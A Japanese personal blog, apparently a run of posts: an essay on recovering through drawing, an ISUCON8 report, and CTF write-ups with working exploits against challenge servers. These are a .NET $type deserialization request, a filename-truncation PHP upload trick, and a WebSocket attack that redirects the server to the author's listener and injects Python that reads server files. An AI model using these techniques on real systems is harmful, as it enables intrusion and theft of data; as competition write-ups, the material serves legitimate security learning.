キーボードを折る。筆をとり、再びキーボードを叩く。
めぐ~。megumishです。最近はkuadomi名義でイラストも描いています。
さて、去年は虚無の一年であり、再起の一年でありました。
6月、精神を病み、仕事もまともにできずグダグダと過ごして、ついに僕のしぼみ切った世界は破綻し、故郷に帰ることになりました。
故郷にあったのは片付けられて、父親の物置となっていた僕の部屋でした。勉強机はすでに片付けられており、勉強机の上にあったものは一つの袋にまとめられていました。
その中にあった一つのものが、通称板タブと呼ばれるペンタブレットでした。
はるか昔に僕は絵を描いていました。といっても趣味程度のものでしたが。もう大好きだったプログラミングをやる気力もなかった僕はそれでも何かを作りたいと思い、そいつを使って絵を描くことにしました。
ペンタブは当時のまま僕の線を描きとってくれました。
これが再開して初めて描いた絵です。VirtualYouTuberのさくらみこの絵です。プログラミングをやめ絵を描く以前はYouTubeでよくVirtualYoutuberの配信や切り抜きを見ていました。元気な様子の彼ら、彼女らからは大きな元気をもらいました。
ホロ鯖マイクラいつも楽しく見させていただいてます!#miko_Art pic.twitter.com/yRuMZBkzWy
— くあどみ (@kuadomi) 2021年8月10日
今は便利な世の中で、YouTubeには様々なイラストの講座があり、ブランクのあった僕でもそのいくつかからテクニックを学び、昔絵を描いていたころの感覚を思い出しつつなんとか形にすることができました。
とくにYouTubeではさいとうなおき先生の動画にお世話になりました。先生の動画からはテクニックだけでなく絵を描きたいという原動力ももらうことができました。
さて、今の僕はというとなんと無事に就職でき、また働いています。ここまでの話を聞き絵の仕事をやっていると思いましたか?実は違います。
僕はまたプログラミングを始めることができました。つまり懲りずにITエンジニアの仕事をしています。今は幸福なことに休日を多めにもらっていますが、少しずつエンジニアとしての働きも復活させていきたいなと思います。
絵を始めたことをきっかけにして僕はまた以前と同じようにやってみたい、作ってみたい、知りたいなどの欲求が戻ってきたみたいなのです。
もちろん絵を描くことがすべてのきっかけではなく、僕と一緒に勉強・開発などに付き合ってくれたITエンジニアのできる友達のおかげでもありました。
最後に僕が絵を描くことに感謝を込めた絵を貼っておきます。
「自分はいつだって、描きなおすことができる。
たとえそれが真っ白のキャンバスじゃなかったとしても。」
ISUCON8本戦に行きました。
ISUCON8本戦行きました〜
行きました。うさぎさんとhikaliumさんがチームメンバーでした。 twitter.com twitter.com
こちらはhikaliumさんのブログです。
うさぎさんのブログです。
僕がやったこと
- Dockerからアプリケーションを剥がす デプロイを慣れた形でするために、もともとDockerで動いてたアプリケーションを剥がしました。
手順としては
Python3.7.0をxbuildでどこかに置いておく
置いたPython3.7.0のpipでpipenvをインストール
pipenvで依存関係をインストール
アプリケーションをsystemdに登録して動かす
という感じでした。
- /sendの代わりに/send_bulkを使うようにする(失敗)
この実装をうさぎさんに任されたのですが
うさぎさんがバグを埋め込んでいたらしくそれを直すために手間取ってしまいました。
結果この実装は時間内に終わらずmasterにはマージされませんでした。
この実装には非同期処理でログをキューで貯めて送信するということをやっていたのですが
そもそも僕は非同期処理の実装がかなり苦手で、非同期処理に関する経験をもっと深めていかないといけないなぁという感じでした。
感想
体力の配分が間違っていたのと、やはりコーディングスキルが足りないのでもっと磨きたいと思いました。
11月から仕事を始めるのでそこで開発力をガンガン磨いて行きたいです。
Don't net, kids!
Exploit!!!!
@st98 さんの解析により以下のコマンドが実行できそうでした。
`
// Token: 0x0400000A RID: 10
private readonly List
// Token: 0x0400000B RID: 11
private readonly List<string> _userActions = new List<string>
{
"get",
"set",
"list"
};
// Token: 0x0400000C RID: 12
private readonly List<string> _adminActions = new List<string>
{
"readflag"
};
`
コマンド送信例:
# curl https://dotnot.dctf-quals-17.def.camp/api/command -d '{"command":{"userid":"b59b4158-02f6-4075-9384-7d5c32e524fc","action":"set","query":"hoge","value":"fuga"}}' {"UserId":"b59b4158-02f6-4075-9384-7d5c32e524fc","Action":"set","Query":"hoge","Value":"fuga","Response":"Value updated!","Error":null}
また、このコマンドを送るときjsonのデータに不要なものを入れておいてもそれが反映されているようでした。
なので$typeを使って、型をCommandからAdminCommandにキャストすると、readflagが使えるようになり終わりです。
echo -en '{"command":{"$type":"DCTFNetCoreWebApp.Models.AdminCommand, DCTFNetCoreWebApp","userid":"21b20836-19c9-45d7-9721-101fadd24233","action":"readflag","query":null}}' | curl https://dotnot.dctf-quals-17.def.camp/api/command -d @-
フラグ:DCTF{4e388d989d6e9cfd2ba8a0ddf0f870c23c4936fabfc5c271d065a467af96e387}
ちなみにdllの解析にはdnSpyを使ったとのことです。
EXIF data analyzer
どんな問題?
まず下記のリンクが問題文にあります。
https://exif-analyzer.dctf-quals-17.def.camp/flag.php
これだけだと???という感じですが
flag.phpを消して、indexページに飛ぶと問題があります。
さらに ?sourceとリンクに付け加えておくと
そのソースが確認できます。
<?php error_reporting(E_ALL); ini_set('display_errors', 1); if (isset($_GET['source'])) { echo highlight_file(__FILE__); die(); } function download($url) { $flags = FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED | FILTER_FLAG_PATH_REQUIRED; $urlok = filter_var($url, FILTER_VALIDATE_URL, $flags); if (!$urlok) { throw new Exception('Invalid URL'); } $parsed = parse_url($url); if (!preg_match('/^https?$/i', $parsed['scheme'])) { throw new Exception('Invalid URL: scheme must be HTTP or HTTPS'); } $host_ip = gethostbyname($parsed['host']); $flags = FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE; $ipok = filter_var($host_ip, FILTER_VALIDATE_IP, $flags); if ($ipok === false) { throw new Exception('Invalid URL: host not allowed'); } $file = pathinfo($parsed['path']); $filename = $file['basename']; $extension = strtolower($file['extension']); $whitelist = ['png', 'gif', 'jpg']; if (!in_array($extension, $whitelist)) { throw new Exception('Extension not allowed'); } // re-assemble safe url $safe_url = "{$parsed['scheme']}://{$parsed['host']}"; $safe_url .= isset($parsed['port']) ? ":{$parsed['port']}" : ''; $safe_url .= $parsed['path']; $uploads = getcwd() . '/uploads/'; $timestamp = date('md-Hi'); $suffix = bin2hex(openssl_random_pseudo_bytes(8)); $userdir = "${uploads}/${timestamp}_${suffix}"; if (!is_dir($userdir)) { mkdir($userdir); } $cmd = "cd $userdir; timeout 3 wget " . escapeshellarg($safe_url) . " 2>&1"; $output = shell_exec($cmd); return [ 'output' => $output, 'cmd' => $cmd, 'file' => "$userdir/$filename", ]; } function analyze($file) { if(!is_file($file)) { throw new Exception('File not found'); } return exif_read_data($file, NULL, true); } $error = false; $result = false; $output = ''; $cmd = ''; if (isset($_REQUEST['url'])) { try { $download = download($_REQUEST['url']); $output = $download['output']; $filepath = $download['file']; $cmd = $download['cmd']; $result = analyze($filepath); } catch (Exception $ex) { $result = $ex->getMessage(); $error = true; } } ?> <!DOCTYPE html> <html> <head> <title>EXIF dump</title> </head> <body> <h1>EXIF dump</h1> <?php if ($result !== false): ?> <div> <?php if ($error): ?> <h3>Something spooky happened:</h3> <p><?php echo htmlentities($result); ?></p> <?php else: ?> <h3>Here's what we've found:</h3> <table> <?php foreach($result as $key => $section): ?> <?php foreach($section as $name => $value): ?> <tr> <td><?php echo htmlentities("$key.$name"); ?></td> <td><?php echo htmlentities($value); ?></td> </tr> <?php endforeach; ?> <?php endforeach; ?> </table> <?php endif; ?> </div> <div> <h4>Output:</h4> <pre>CMD: <?php echo htmlentities($cmd); ?></pre> <pre><?php echo htmlentities($output); ?></pre> </div> <?php endif; ?> <div> <p>Specify an URL of an image to view its EXIF data:</p> <form method="post"> <label> <input type="url" name="url" placeholder="http://domain.tld/path/to/image.png"> </label> <input type="submit" value="Analyze"> </form> </div> <footer> <a id="src" href="?source" target="_blank" title="view source"><small>view source</small></a> </footer> </body> </html> <script>document.getElementById('src').href = 'view-source:' + location.href;</script> 1
先に答えを言っておくと、wgetするときにファイル名に長さ制限があり、長すぎると省略されて.jpgのような画像ファイルの拡張子以外のも保存することが出来ます。
例えば
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.jpg
のようにしておくと.jpgが省略され
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
と言った感じです。(実際のAの数は自分で調べといてください)
それを利用して、.phpファイルをおいておき、flag.phpを表示すればこの問題のフラグが入手できます。
どうやって脆弱性を発見したか
ではどのようにしてこの脆弱性を発見したかというと、 exif_read_data
にBoFの脆弱性があると聞き、じゃあファイル名長くしようとしたらたまたまこの脆弱性を発見した次第です。
flag
DCTF{0c52b82e474afc7c06da92d221ffe9361330d9395978e633cdbf01a173d07aa4}
このときAWSに久しぶりにログインしたら毎月2000円課金していたという事実に気づき、結構ショックでした。
CTFZone 2017 [Web Pwn] Mr.President Feedback
チームHarekazeで参加して、合計1147点で25位でした。 この問題の最終的な点数は460点です。
どんな問題?
以下のようなフォームが与えられます。
ただし、CAPTCHAの数式に答えてこのフォームを投稿しても意味はありません。
なぜなら/dev/null宛だからです。(本当に/dev/nullに送ってるというわけではなく、/dev/nullというパスにPOSTされるだけ。)
重要なのはCAPTCHAの生成や判定にWebSocketでの通信を行っていることでした。
Exploit!
ソースコードを見てみるとWebSocketでどんな通信を行っているのかがわかります。
sendメソッドがデータを送るメソッドで、onopenがソケットが開かれた時(つまり通信開始時)、onmessageがデータを受信した時に呼ばれるメソッドです。
function generate() { $("#msg").empty() ws.send(JSON.stringify({"method": "generate"})) } function validate() { hash = $("pre").attr("id") ws.send(JSON.stringify({"method": "check", "args": [hash, $("#answer").val()]})) } function createWebSocket(path) { var protocolPrefix = (window.location.protocol === 'https:') ? 'wss:' : 'ws:'; return new WebSocket(protocolPrefix + '//' + location.host + path); } ws = createWebSocket(location.pathname + "feed"); ws.onopen = function() { generate()}; ws.onmessage = function(evt) { data = JSON.parse(evt.data) if (data["status"] == "error") { alert(data["info"]) } else if (data["method"] == "generate") { $("#msg").append("<pre id=" + data["result"]["hash"] + ">"+ data["result"]["text"] + "</pre>"); } else if (data["method"] == "check") { if (data["result"] == "Valid") { $("#submitBtn").prop('disabled', false); } alert(data["result"]); generate(); } else if (data["method"] == "help") { alert(data["result"]); } };
onopen、onmessageに関してはこちらで決めることができるので、新しくソケットを作りどんなデータを受信しているのか確認してみることにします。
exploit_ws = new WebSocket('ws://82.202.226.240/feed'); exploit_ws.onmessage = function(evt) { console.log(evt); };
こうすることでブラウザの開発者ツールによるconsoleデバッグが可能になります。
本家のソースコードを真似ると、送信可能なメッセージは次のような形式になります。
本家はJSON.stringifyを使っていますが、今回は直接JSON形式の文字列を入れていきます。
exploit_ws.send('{"method":"method_name", "args":[argv..]}');
これで相手側のメソッドに好きな引数を与えることが出来ます。
でもこのままだと言語も特定できずにやることがわからないので、まずはエラーをいくつか出して特定してみましょう。
そのために以下のような不正なメッセージをあえて送ってみます。
exploit_ws.send('{"method":"check", "args":[{文字列と数値以外の値}]}'); exploit_ws.send('{"method":"{絶対に存在しなさそうな関数の値}"}');
するとエラー文が出ます。それをそのまま検索するなり、勘と経験を使うなりして判断すると言語としてPythonが使われているということがわかりました。
もしかしたらただ分岐してメソッドを呼び出してる可能性もありますが、とりあえずその可能性は置いといて、メンバ関数を直接呼び出していると仮定すると
__dir__
を呼び出すと、全てのメンバが明らかになります。
今回は本当にメソッドを直接呼び出している形式だったので呼ぶことが出来ました。
exploit_ws.send('{"method":"__dir__"}'); (dataだけを抜粋) data:"{"result": ["_server", "_port", "_table", "__module__", "_sock", "_last", "__init__", "reconnect", "operations", "generate", "check", "help", "__dict__", "__weakref__", "__doc__", "__slotnames__", "__repr__", "__hash__", "__str__", "__getattribute__", "__setattr__", "__delattr__", "__lt__", "__le__", "__eq__", "__ne__", "__gt__", "__ge__", "__new__", "__reduce_ex__", "__reduce__", "__subclasshook__", "__init_subclass__", "__format__", "__sizeof__", "__dir__", "__class__"], "method": "__dir__", "status": "ok"}"
色々ありますが、重要なのは _port
と _sock
です。これを __setattr__
メソッドで変えることが出来るのが今回の肝となってきます。
portとsockを変えるとなんと自分の用意したサーバーで通信できるようになります。
実際に出来ることはgenerateのときにCAPTCHAで生成する数式の間の演算子とその画像(というか文字列)を指定できます。
ではここで2つ気になる点があります。それは
演算子は好きなものを指定できる。
答えは勝手に計算される。
ことです。試しに演算子に *0#
を入れてみると、答えは0になりました。つまり、これは任意のコードを実行できるということにほかなりません。
次に下のような2つのコードとサーバー側のスクリプトを用意します。
exploit_ws = new WebSocket('ws://82.202.226.240/feed'); exploit_cnt = 0 leak_str = "" exploit_ws.onmessage = function(evt) { data = JSON.parse(evt.data); if (data["method"] == "check") { if (data["result"] == "Valid") { leak_str += String.fromCharCode(exploit_cnt) exploit(); console.log(leak_str); exploit_cnt = 0; } else { exploit_cnt++; } } };
function exploit(){ exploit_ws.send('{"method":"generate"}'); exploit_cnt = 0; for(var i=0;i < 200; i++) { //数式を表す画像によってhash値が決まるがここでは'\n'を指定していて、そのハッシュ値は65581a86911b71d6ed073981562b24a2になる。 exploit_ws.send('{"method":"check", "args":["65581a86911b71d6ed073981562b24a2", ' + String(i) + ']}') } }
#サーバー側のコード from pwn import * context.log_level = 'debug' l = listen(10000) _ = l.wait_for_connection() cnt = 100 while True: l.recvuntil('supported_operations') payload = "*0+ord(open(__import__('os',globals(),locals(),[],0).listdir('.')[15]).read()[%d])#" % cnt # __import()で import文と同様のことが出来る。 #payload = "*0+ord(','.join(__import__('os',globals(),locals(),[],0).listdir('.'))[%d])#" % cnt #payload = "*0+ord(open('devnull').read()[%d])#" % cnt l.send(payload) l.recvuntil('translate') l.send('\n') cnt += 1
あとは サーバー側のpayloadを調節して、ファイルの一覧を作ったりして把握してフラグの入ったファイルを特定すれば終わりです。
しかし、実際にはフラグが入ってるっぽいファイルがなかったので適当にソースコードを覗いてみたところフラグが見つかりました。
SALT = b'ctfzone{87a55d7e34aae098be0316df6b8035e4}'
フラグctfzone{87a55d7e34aae098be0316df6b8035e4}
感想
取得するときに文字列が化けてつらかった。もっと短くして欲しい。
あと今回は線形探索で一文字ずつ探索したけど、実際は二分探索で二文字ずつ探索しても良かったのかなと思った。
問題はとても面白かったと思います。
おわり
Trend Micro CTF 2017 - Raimund Genes Cup - Online Qualifier [Analysis-Offensive 100]
exploit
forっぽい問題だったのでいきなりexploitから。
とりあえずbinwalkをしてみます。
$ ~/c/t/Analysis_offensive100> binwalk Forensic_Encyption DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 13390 0x344E Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1 29607 0x73A7 Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2 30177 0x75E1 End of Zip archive
zipファイルがふたつ含まれているようです。
さっそく解凍してみるとjpegファイルであるfile_1とzipファイルであるfile_2が出てきました。
$ ~/c/t/Analysis_offensive100> unar Forensic_Encyption Forensic_Encyption: Self-extracting Zip "Forensic_Encyption" already exists. (r)ename to "Forensic_Encyption-1", (R)ename all, (o)verwrite, (O)verwrite all, (s)kip, (S)kip all, (q)uit? q $ ~/c/t/Analysis_offensive100> ls Forensic_Encyption files1.enc files1.zip $ ~/c/t/Analysis_offensive100> unar Forensic_Encyption Forensic_Encyption: Self-extracting Zip "Forensic_Encyption" already exists. (r)ename to "Forensic_Encyption-1", (R)ename all, (o)verwrite, (O)verwrite all, (s)kip, (S)kip all, (q)uit? R file_1 (20874 B)... OK. file_2 (418 B)... OK. Successfully extracted to "Forensic_Encyption-1". $ ~/c/t/Analysis_offensive100> file Forensic_Encyption-1/* Forensic_Encyption-1/file_1: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, description=MM, xresolution=86, yresolution=94, resolutionunit=2, software=MM], baseline, precision 8, 641x417, frames 3 Forensic_Encyption-1/file_2: Zip archive data, at least v2.0 to extract
file_2はパスワードがかかってるようなので後回しにして、file_1をexiftoolにかけてみます。
$ ~/c/t/Analysis_offensive100> exiftool file_1 ExifTool Version Number : 10.10 File Name : file_1 Directory : . File Size : 20 kB File Modification Date/Time : 2017:05:01 12:40:54+09:00 File Access Date/Time : 2017:06:24 16:44:45+09:00 File Inode Change Date/Time : 2017:06:24 16:44:28+09:00 File Permissions : rw-rw-r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Exif Byte Order : Big-endian (Motorola, MM) Image Description : X Resolution : 72 Y Resolution : 72 Resolution Unit : inches Software : Exif Version : 0210 Components Configuration : Y, Cb, Cr, - User Comment : VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u Exif Image Width : 753 Exif Image Height : 417 Compression : JPEG (old-style) Thumbnail Offset : 332 Thumbnail Length : 2273 JFIF Version : 1.01 Image Width : 641 Image Height : 417 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 641x417 Megapixels : 0.267 Thumbnail Image : (Binary data 2273 bytes, use -b option to extract)
怪しいユーザーコメントがあります。これをbase64でデコードすると
$ ~/c/t/Analysis_offensive100> echo 'VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u' | base64 -d Turing_Machine_automaton⏎
と出てきます。この文字列を使ってfile_2をunzipしようとしましたが出来ませんでした。
$ ~/c/t/Analysis_offensive100> unzip Forensic_Encyption-1/file_2 Archive: Forensic_Encyption-1/file_2 skipping: key.txt unsupported compression method 99
調べてみると7zコマンドで解凍できるようでした。今度は解凍できました。
解凍すると今度はkey.txtが出てきました。
$ ~/c/t/Analysis_offensive100> cat key.txt src 192.168.30.211 dst 192.168.30.251 proto esp spi 0xc300fae7 reqid 1 mode transport replay-window 32 auth hmac(sha1) 0x2f279b853294aad4547d5773e5108de7717f5284 enc cbc(aes) 0x9d1d2cfa9fa8be81f3e735090c7bd272 sel src 192.168.30.211/32 dst 192.168.30.251/32 src 192.168.30.251 dst 192.168.30.211 proto esp spi 0xce66f4fa reqid 1 mode transport replay-window 32 auth hmac(sha1) 0x3bf9c1a31f707731a762ea45a85e21a2192797a3 enc cbc(aes) 0x886f7e33d21c79ea5bac61e3e17c0422 sel src 192.168.30.251/32 dst 192.168.30.211/32
これを使うとパケットの暗号を復号できるようですが、肝心のパケットが含まれたpcapファイルが見つかりません。
そこで始めに与えられたファイルにstringsをかけるとfile_3がfile_1,file_2とは別に含まれているようです。
試しにzipinfoをすると確かにfile_3がありました。
$ ~/c/t/Analysis_offensive100> zipinfo -v Forensic_Encyption Archive: Forensic_Encyption There is no zipfile comment. End-of-central-directory record: ------------------------------- Zip archive file size: 30199 (00000000000075F7h) Actual end-cent-dir record offset: 30177 (00000000000075E1h) Expected end-cent-dir record offset: 30177 (00000000000075E1h) (based on the length of the central directory and its expected offset) This zipfile constitutes the sole disk of a single-part archive; its central directory contains 3 entries. The central directory is 156 (000000000000009Ch) bytes long, and its (expected) offset in bytes from the beginning of the zipfile is 30021 (0000000000007545h). Central directory entry #1: --------------------------- file_3 offset of local header from start of archive: 0 (0000000000000000h) bytes file system or operating system of origin: MS-DOS, OS/2 or NT FAT version of encoding software: 2.0 minimum file system compatibility required: MS-DOS, OS/2 or NT FAT minimum software version required to extract: 2.0 compression method: deflated compression sub-type (deflation): normal file security status: not encrypted extended local header: no file last modified on (DOS date/time): 2017 May 15 16:39:40 32-bit CRC value (hex): c21779bc compressed size: 13354 bytes uncompressed size: 31112 bytes length of filename: 6 characters length of extra field: 0 bytes length of file comment: 0 characters disk number on which file begins: disk 1 apparent file type: binary non-MSDOS external file attributes: 000000 hex MS-DOS file attributes (00 hex): none ...
ファイルの先頭がおかしいようなので先頭の二文字をPKに変えると今度は解凍するとfile_3が出てくるようになりました。
file_3は予想通りpcapファイルだったのでこれをwiresharkに突っ込み、以下のブログの通りにESPの復号をします。
すると以下のhtmlファイルが手に入るのであとは Enigma M4 - Simulator by dp を使いフラグを手に入れます。
<HTML> <BODY> M4 Navy Reflector:C Thin, beta, I, IV, II (T M J F), Plugboard: L-X/A-C/B-Y TMCTF{APZTQQHYCKDLQZRG} APZTQQHYCKDLQZRG is encrypted. </BODY> </HTML>
フラグ
TMCTF{RISINGSUNANDMOON}
rising sun and moon
Trend Micro CTF 2017 - Raimund Genes Cup - Online Qualifier [Reversing 200]
観察
revですがバイナリではなく何かのログのようなtxtファイルが渡されます。
Using Clock:64, Invert:0, Bits Found:625 ASK/Manchester - Clock: 64 - Decoded bitstream: 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101
なにやら周期性がありそうです。しかし、それだけだと何もわからないので"Using Clock:64,“を引用符付きで検索してみました。 すると次のページがひっかかりました。
どうやらRFIDに関する何かのようです。
次にRFIDとManchesterについて検索をしたところ次のページが出ました。
Decoding an EM4100 Manchester Encoded RFID Tag |
RFIDは連続した9つの1がデータのヘッダーを示すようですが、上のtxtにも連続した9つ以上の1がありました。
今回の問題はRFIDデータのタグに関する問題のようです。
Exploit
Exploitといってもただ先程のページに示したとおりにbit列を解釈するだけです。幸い同じbitが繰り返されてるようなので、paritycheckはいりませんでした。
$> python converter.py | python show_info.py 0xfeeddecafe6
#converter.py header_count = 0 end_header = False parity_bit = False row_count = 0 data_count = 0 data_str = '' for bit in '11101111101110001010011110111010110011111111111110111011110111011110111110111000101001111011101011001111111111111011101111011101111011111011100010100111101110101100111111111111101110111101110111101111101110001010011110111010110011111111111110111011110111011110111110111000101001111011101011001111111111111011101111011101111011111011100010100111101110101100111111111111101110111101110111101111101110001010011110111010110011111111111110111011110111011110111110111000101001111011101011001111111111111011101111011101': if not end_header: if bit == '1': header_count += 1 else: header_count = 0 if header_count == 9: end_header = True else: data_count += 1 data_str += bit if data_count % 5 == 0: print(data_str) data_str = '' row_count += 1 if row_count == 11: break
#show_info.py import sys bit_stream = '' for line in iter(sys.stdin.readline, ""): line = line.strip() bit_stream += line[:-1] print(hex(int(bit_stream,2)))
フラグは大文字を指定されているので
TMCTF{FEEDDECAFE}
を提出して終わりです。(最後の6はparitycheckの一部です)